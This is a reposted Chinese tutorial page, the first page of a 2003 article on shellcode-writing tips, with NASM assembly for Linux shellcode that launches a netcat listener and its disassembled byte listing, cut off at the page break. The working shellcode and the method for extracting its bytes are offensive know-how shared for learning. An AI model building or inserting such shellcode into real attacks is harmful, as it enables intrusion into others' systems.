转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 软件使用 >> 系统软件 >> 正文
(转载)Exploit,shellcode经验技巧杂谈         

(转载)Exploit,shellcode经验技巧杂谈

作者:闵涛 文章来源:闵涛的学习笔记 点击数:2088 更新时间:2009/4/25 0:45:03

Exploit,shellcode经验技巧杂谈

转自:http://www.xfocus.net
创建时间:2003-07-14
文章属性:原创
文章提交:OYXin (oyxin_at_ph4nt0m.net)

OYXin
OYXin@ph4nt0m.net

                          Exploit,shellcode经验技巧谈

    这篇文章不是教你如何去写exploit,shellcode,而是希望提供一些关于编写或者研究exploit,shellcode的经验和技巧。适合理解了shellcode编写原理的朋友。我看了很多相关文章,大部分的编写方法都是类似Aleph One的《Smashing The Stack For Fun And Profit》里面的方法。其中safemode.org的zillion所写的《Writing shellcode》文章特别吸引我,他提供的一种方法我认为很方便。我结合自己的测试将文中的一些技巧衔接起来。还有一些自己在学习exploit过程中遇到的问题和解决方法。希望对和我一样初学exploit的朋友们能有一点点的帮助。水平有限,错误在所难免,发现错误请跟我联系,不甚感激。

    不打无准备的仗,我们最好先做好一些准备工作。可以参考一下我的系统环境。
    系统环境:REDHAT 9.0, gcc version 3.2.2, NASM version 0.98.35,perl 5.8.0

    言归正传吧,用汇编语言写好我们想要执行的程序的功能,流程还是类似常用的写shellcode asm的写法,这里我就不用/bin/sh做例子了。我要写一个打开nc监听一个端口的shellcode,测试目的,并没有绑定shell.首先vim ncshellcode.S,填写如下代码:

BITS 32

jmp short       callit

doit:  

pop             esi
xor             eax, eax
mov byte        [esi + 7], al     ; 在/usr/nc后面加0
mov byte        [esi + 10], al    ; 在-l后面加0
mov byte        [esi + 13], al    ; 在-p后面加0
mov byte    [esi + 18], al    ; 在2003后面加0
mov long        [esi + 19], esi   ; 把字符串/usr/nc的地址放到AAAA所在的地方
lea             ebx, [esi + 8]    ; 得到字符串-l的地址  
mov long        [esi + 23], ebx   ; 把字符串-l的地址放在BBBB
lea             ebx, [esi + 11]   ; 得到字符串-p的地址
mov long        [esi + 27], ebx   ; 把字符串-p的地址放在CCCC
lea        ebx, [esi + 14]      ; 得到字符串2003的地址
mov long    [esi+ 31], ebx    : 把字符串2003的地址放在DDDD
mov long        [esi + 35], eax   ; 把NUll放在 EEEE
mov byte        al, 0x0b          ; syscall 0x0b (execve)
mov             ebx, esi          ; program
lea             ecx, [esi + 19]   ; (/usr/nc -l -p 2002)
lea             edx, [esi + 35]   ; NULL
int             0x80              ;

callit:
call            doit

db              ''''/usr/nc#-l#-p#2003#AAAABBBBCCCCDDDDEEEE''''  

    思路其实和aleph one的是一样的,注意nasm的语法是intel的就可以了。注意db   ''''/usr/nc#-l#-p#2003 #AAAABBBBCCCCDDDDEEEE'''',打#的就是要用一个字节的0填充的;AAAA,BBBB,CCCC....用来储存字符串地址的地址,这样写可以很大程度的避免由于粗心造成的错误,比如字节数计算不当等等。
写好源代码之后用nasm -o ncshellcode ncshellcode.S编译,编译好了就直接可以用ndisasm得到shellcode了。
[oyxin@OYXin shellcode]$ ndisasm -b 32 ncshellcode
00000000  EB33              jmp short 0x35
00000002  5E                pop esi
00000003  31C0              xor eax,eax
00000005  884607            mov [esi+0x7],al
00000008  88460A            mov [esi+0xa],al
0000000B  88460D            mov [esi+0xd],al
0000000E  884612            mov [esi+0x12],al
00000011  897613            mov [esi+0x13],esi
00000014  8D5E08            lea ebx,[esi+0x8]
00000017  895E17            mov [esi+0x17],ebx
0000001A  8D5E0B            lea ebx,[esi+0xb]
0000001D  895E1B            mov [esi+0x1b],ebx
00000020  8D5E0E            lea ebx,[esi+0xe]
00000023  895E1F            mov [esi+0x1f],ebx
00000026  894623            mov [esi+0x23],eax
00000029  B00B              mov al,0xb
0000002B  89F3              mov ebx,esi
0000002D  8D4E13            lea ecx,[esi+0x13]
00000030  8D5623            lea edx,[esi+0x23]
00000033  CD80              int 0x80
00000035  E8C8FFFFFF        call 0x2
0000003A  2F                das
0000003B  7573              jnz 0xb0
0000003D  722F              jc 0x6e
0000003F  6E                outsb
00000040  6323              arpl [ebx],sp
00000042  2D6C232D70        sub eax,0x702d236c
00000047  2332              and esi,[edx]
00000049  3030              xor [eax],dh
0000004B  3323              xor esp,[ebx]
0000004D  41                inc ecx
0000004E  41                inc ecx
0000004F  41                inc ecx
00000050  41&nb

[1] [2] [3]  下一页


[操作系统]网络转载---64位操作系统与32位的区别  [Delphi程序]Self-Delete程序之Delphi版本,终于搞定了。 (转载…
[SyBase][Linux] Linux的一些Tips (转载)  [SyBase](转载)Linux内核漏洞浅析
[SyBase][转载] linux指令大全  [SyBase]教您如何安装使用Mplayer(转载www.linuxsir.org/b…
[SyBase](转载)Linux下源代码阅读工具lxr安装使用说明  [Sql Server][转载] 编写安全的 Transact-SQL
[Sql Server]PostgreSQL 的昨天今天和明天 转载  
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · 办公软件  · 系统软件
    · 常用软件  · 聊天工具
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台